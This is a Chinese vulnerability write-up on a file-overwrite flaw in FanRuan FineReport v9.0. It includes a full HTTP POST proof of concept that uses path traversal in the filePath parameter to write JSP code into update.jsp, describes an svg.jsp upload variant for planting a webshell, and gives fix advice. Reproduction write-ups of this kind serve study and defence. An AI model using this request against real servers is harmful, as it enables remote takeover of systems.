帆软v9.0文件覆盖漏洞getshell—-雨夜-漏洞文库小世界-安全文库-NGC660安全实验室

帆软v9.0文件覆盖漏洞getshell—-雨夜

漏洞简介

该漏洞是在近期2021年HW中被披露的,由于在初始化svg文件时,未对传入的参数做限制,导致可以对已存在的文件覆盖写入数据,从而可以通过该漏洞将木马覆盖写入已存在的jsp文件中获取服务器权限。

漏洞复现

官网下载v9.0版本系统
1625550476567-3d263384-771b-4355-9f8d-0a873bc48b4e

根据向导安装系统:https://help.fanruan.com/finereport/doc-view-69.html 安装完后会发现网站目录下存在默认文件update.jsp和update1.jsp。
1625550486705-4d61c754-3715-4fb1-a0d7-9f3711f93c2b

使用网上的poc来对系统进行文件覆盖写入,注意内容要使用双引号。

POST/WebReport/ReportServer?op=svginit&cmd=design_save_svg&filePath=chartmapsvg/../../../../WebReport/update.jsp  HTTP/1.1
Host: 192.168.10.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190Safari/537.36
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie:JSESSIONID=DE7874FC92F0852C84D38935247D947F;JSESSIONID=A240C26B17628D871BB74B7601482FDE
Connection: close
Content-Type:text/xml;charset=UTF-8

Content-Length: 74

{"__CONTENT__":"<%out.println(\"HelloWorld!\");%>","__CHARSET__":"UTF-8"}

此时目录下的update.jsp已经被覆盖为我们写入的代码
1625550645079-837559b3-31a4-41c8-938e-1899384ad15e

无需覆盖文件

先知社区评论区blackwolf提出的无损利用方法,让该漏洞成为任意文件上传,通过传递文件名为xxx.svg.jsp即可创建该文件并写入WebShell。
1625550747931-af75deba-f9c5-4c3b-aab9-eb917ab7c43c

漏洞分析

使用jd-gui反编译FineReport_9.0\WebReport\WEB-INF\lib中的fr-chart-9.0.jar
1625550779879-8a445af8-0f85-4eda-b087-70fe6aeeff36

修复建议

过滤filePath参数的值,或使用路径和文件后缀白名单,删除或修改默认update.jsp和update1.jsp页面,升级FineReport到最新版v10版本。

参考文章

https://blog.csdn.net/qq_32261191/article/details/116375931

请登录后发表评论

    请登录后查看回复内容